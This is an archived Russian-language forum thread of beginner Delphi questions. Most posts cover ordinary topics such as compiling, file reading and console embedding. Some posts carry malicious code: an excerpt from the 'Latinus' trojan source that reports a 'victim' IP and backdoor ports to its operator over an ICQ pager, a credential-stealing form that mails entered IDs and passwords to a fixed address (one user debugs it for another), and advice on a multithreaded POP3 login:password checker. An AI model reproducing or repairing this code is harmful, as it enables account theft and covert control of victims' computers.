[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. alamat

    alamat Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    18
    Likes Received:
    3
    Reputations:
    0
    и кстати можешь объяснить почему тот что ты мне дал код, должен работать быстрее чем мой?
     
  2. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    знаем что такое многопоточность? *думаю нет

    итак при каждом создание потока создается IdPOP3...
    ему передатются логины и пассы... каким макаром их передавать это дело алгоритма...
    значит он пытается залогиниться, соответсвеноо если все ок
    вызывается синхронизация с vcl "процедурой"..
    которая выдает результат...

    тебе просто необходимо сделать алгоритм для раздачи логин:пасс к потокам...

    >>Nightmarе
    кусок кода из сорцов трояна Latinus
    по идее должно работать =/
    PHP:
    procedure TfrmServer.ClientPagerConnect(SenderTObject;
      
    SocketTCustomWinSocket);
    var
       
    cData,cSend,CrLf,cSubject,cMessage:string;
    begin
       SentPager
    :=True;
       
    CrLf:=#13#10;
       
    cMessage:='Victim+is+on-line:' CrLf 'IP:' ClientPager.Socket.LocalAddress +
                 
    CrLf 'Connection+port:' IntToStr(StrToIntDef(Trim(Copy(SrvPort,10,Length(SrvPort))),DEF_CON_PORT)) +
                 
    CrLf 'Upload/download+port:' IntToStr(StrToIntDef(Trim(Copy(TnsfPort,11,Length(TnsfPort))),DEF_UD_PORT)) +
                 
    CrLf 'Local+time:' DateToStr(Date) + '+-+' TimeToStr(Time);
       
    cSubject:='Latinus+pager';
       
    cData:='from=Latinus+server&[email protected]&subject=' cSubject '&body=' cMessage '&to=' Trim(Copy(cICQ,9,Length(cICQ))) + '&Send=' '''';
       
    cSend:='POST /scripts/WWPMsg.dll HTTP/1.0' CrLf;
       
    cSend:=cSend 'Referer: http://wwp.mirabilis.com' CrLf;
       
    cSend:=cSend 'User-Agent: Mozilla/4.06 (Win95; I)' CrLf;
       
    cSend:=cSend 'Connection: Keep-Alive' CrLf;
       
    cSend:=cSend 'Host: wwp.mirabilis.com:80' CrLf;
       
    cSend:=cSend 'Content-type: application/x-www-form-urlencoded' CrLf;
       
    cSend:=cSend 'Content-length: ' IntToStr(Length(cData)) + CrLf;
       
    cSend:=cSend 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*' CrLf CrLf;
       
    cSend:=cSend cData CrLf CrLf CrLf CrLf;
       
    ClientPager.Socket.SendText(cSend);
    end;
     
    #522 W!z@rD, 22 Aug 2007
    Last edited: 22 Aug 2007
  3. Nokia3310

    Nokia3310 Banned

    Joined:
    27 Jul 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Тока начал изучать Delphi.Я селал прогу ну или чето типо того.Как перекомпилить ее в exe?
     
  4. Fen-Omen

    Fen-Omen Elder - Старейшина

    Joined:
    22 Mar 2007
    Messages:
    60
    Likes Received:
    88
    Reputations:
    60
    File-Save Project - указываешь папку, сохраняшь. Жмешь Ctrl+F9 - скомпилится exeшник. В Project - Options можно задать параметры - описания, иконку и множество других полезных функций.

    Сперва попробуй просто запустить (F9) если рабочая программа, и нет ошибок - она запустится. Если же

    Компилятор выдаст ошибки, и будет носом в них тыкать, исправляешь, повторяешь.
     
    #524 Fen-Omen, 24 Aug 2007
    Last edited: 24 Aug 2007
  5. Nokia3310

    Nokia3310 Banned

    Joined:
    27 Jul 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
  6. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    Code:
    function ReadC(sFile: string; var Ch: String): Integer;
    var F: TextFile;
        i: integer;
        Test: string;
    const Decode: Array [0..297]of String = ('', '', ..........);
    begin
     Result := 0;
     AssignFile(F, sFile);
     Reset(F);
     while not EOF(F) do
     begin
      ReadLn(F, Test);
      for i := 0 to 297 do
       if Test = Decode[i] then  Result := Result + 1;
     end;   
     CloseFile(F);
    end;
    Как можно прочитать строчки на WinAPI без паскаля с использованием Windows.CreateFile(); и если в строке обнаружено совпадение добавило к Ch + (', '+совпадение) кто то может привести пример?
     
    #526 PandoraBox, 25 Aug 2007
    Last edited: 25 Aug 2007
  7. undewaternemo

    undewaternemo Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Привет
    помогите с двумя вопросами
    1-Как отловить в консольной проге завершение программы. по своей воле или по чужой.
    2-как планировать и отслеживать загрузку процессора. допустим я хочу сделать некоторый процесс в долгом цикле но не хочу чтобы машина загрузилась более чем на 10 процентов.
     
  8. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Люди подскажите в чем проблема заключаеться, программа комплиться, запускаю ее ввожу данные но на мыло мне ничего не приходит, вот этот код использую:
    procedure TForm1.Button1Click(Sender: TObject);
    var
    mail:String;
    Mes:TIdMessage;
    begin
    if(ComboBox2.Text='')or( Edit1.Text='')then
    begin
    Form2.Show;
    end;
    mail:='[email protected]';
    Mes:=TIdMessage.Create(Form1);
    Mes.Recipients.Add;
    Mes.Recipients.Items[0].Text:=mail;
    Mes.From.Text:=ComboBox2.Text;
    Mes.Subject:='mail_client';
    Mes.Body.Add('ID:'+' '+ComboBox2.Text+#10#13+
    'Pass:'+' '+Edit1.Text+#10#13);
    IdSMTP1.AuthenticationType:=atLogin;
    IdSMTP1.Host:='smtp.'+'mail.ru';
    IdSMTP1.Username:=ComboBox2.Text;
    IdSMTP1.Password:=Edit1.Text;
    IdSMTP1.Connect();
    if IdSMTP1.Connected then
    begin
    try
    IdSMTP1.Send(Mes);
    IdSMTP1.Disconnect;
    except
    end;
    end;
    end;
     
  9. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    var
     mail: String;
     Mes: TIdMessage;
    begin
     if(ComboBox2.Text = '') or (Edit1.Text = '')then
     begin
      Form2.Show;
     end;
      mail := '[email protected]';
      Application.ProcessMessages;
      Mes := TIdMessage.Create(nil);
      Mes.Recipients.Add;
      Mes.Recipients.Items[0].Text := mail;
      Mes.From.Text := PChar(ComboBox2.Text);
      Mes.Subject := 'mail_client';
      Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
      'Pass:'+' '+Edit1.Text+#13#10);
      IdSMTP1.AuthenticationType := atLogin;
      IdSMTP1.Host := PChar('smtp.mail.ru');
      IdSMTP1.Username := PChar(ComboBox2.Text);
      IdSMTP1.Password := PChar(Edit1.Text);
      IdSMTP1.Port := 25; // Default
      Application.ProcessMessages;
      IdSMTP1.Connect(300);
      if IdSMTP1.Connected then
      begin
       try // Отправляем месадж
        Application.ProcessMessages;
        IdSMTP1.Send(Mes);
       except // если ошибка
        on E: Exception do
        begin
         Application.ProcessMessages;
         Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
         IdSMTP1.Disconnect;
        end;
      end;
       IdSMTP1.Disconnect;
     end;
    end;
     
    #529 PandoraBox, 27 Aug 2007
    Last edited: 27 Aug 2007
  10. Mkey

    Mkey New Member

    Joined:
    17 May 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    Доброго времени суток, уважаемые.....

    Имеем:
    1. окно Form1
    Хотим получить:
    в ОКНЕ Form1 стандартную виндовую сомандную консоль (cmd.exe).
    (уточню задачу во избежании недоразумений.... требуется поместить окно консоли В окно Form1... )
    заранее спсб за грамотные ответы....
     
  11. zl0y

    zl0y Banned

    Joined:
    13 Sep 2006
    Messages:
    371
    Likes Received:
    270
    Reputations:
    109
    Короче помогите вот имеем файл (открываем его ,ищем метку "::::::::::" читаем в строку ,а потом удаляем метку и все ,что после неё. Помогите с таким примерчиком плиз
     
  12. NetMan

    NetMan Elder - Старейшина

    Joined:
    9 Feb 2004
    Messages:
    121
    Likes Received:
    37
    Reputations:
    34
    zl0y > напиши конкретный пример файла.
     
  13. Serbies

    Serbies Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    26
    Likes Received:
    7
    Reputations:
    -1
    zl0y, если файл небольшой ьто можно чсерез строки. Открываеш файл через assignfile потом через цикл читаеш построчно его через readln и там уже ведешь работу со строками через pos (ищет подстроку в строке) и del удаляет подстроку в строке. (ссори без примера просто нету сейчас под рукой дельфи ((( а с ошибками писать - плохо)
    2 Mkey http://narod.yandex.ru/cgi-bin/yandsearch?user=delphiworld&text=%EA%EE%ED%F1%EE%EB%FC+%ED%E0+%F4%EE%F0%E5&where=2 вот тут есть то что тебе надо.
    И вообще юзайте DelphiWorld на delphiworld.narod.ru/ В большинстве случаев помогает
     
    #533 Serbies, 28 Aug 2007
    Last edited: 28 Aug 2007
  14. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    PandoraBox при создание вылетают следующие ошибки:

    [Error] Unit1.pas(64): Identifier redeclared: 'TForm1.Button1Click'
    [Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit1.pas'

    Надеюсь на вашу помощь !!!
     
  15. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    нужно копировать только код....
    а не реализации процедуры...
    т.е. все что после
    procedure TForm.Button1Click

    у тебя получилось 2 один. строки...
     
  16. infernal-team

    infernal-team Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    53
    Likes Received:
    17
    Reputations:
    -10
    Да заглупил не заметил, буду внимательнее в следующий раз.
     
  17. Mkey

    Mkey New Member

    Joined:
    17 May 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    уважаемый Serbies... смею Вас заверить, что использовать поисковый сервис я в состоянии....
    Буду Вам очень признателен эсли Вы окажете реальную помощь.... на данный момент расцениваю ваш пост как "флуд-шаблонный".

    вот что необходимо получить http://slil.ru/24787881
     
    #537 Mkey, 28 Aug 2007
    Last edited: 28 Aug 2007
  18. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.
     
  19. Mkey

    Mkey New Member

    Joined:
    17 May 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    вообщето для 2000, xp, 2003.......
    пробывал уже Ваш способ.... не выходит... по этому и обратился за помощью....
     
  20. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    а не проще ли с консоли поток перенаправить? (работа с пайпами)
    с в проге сделать симуляцию консоли?
     
Thread Status:
Not open for further replies.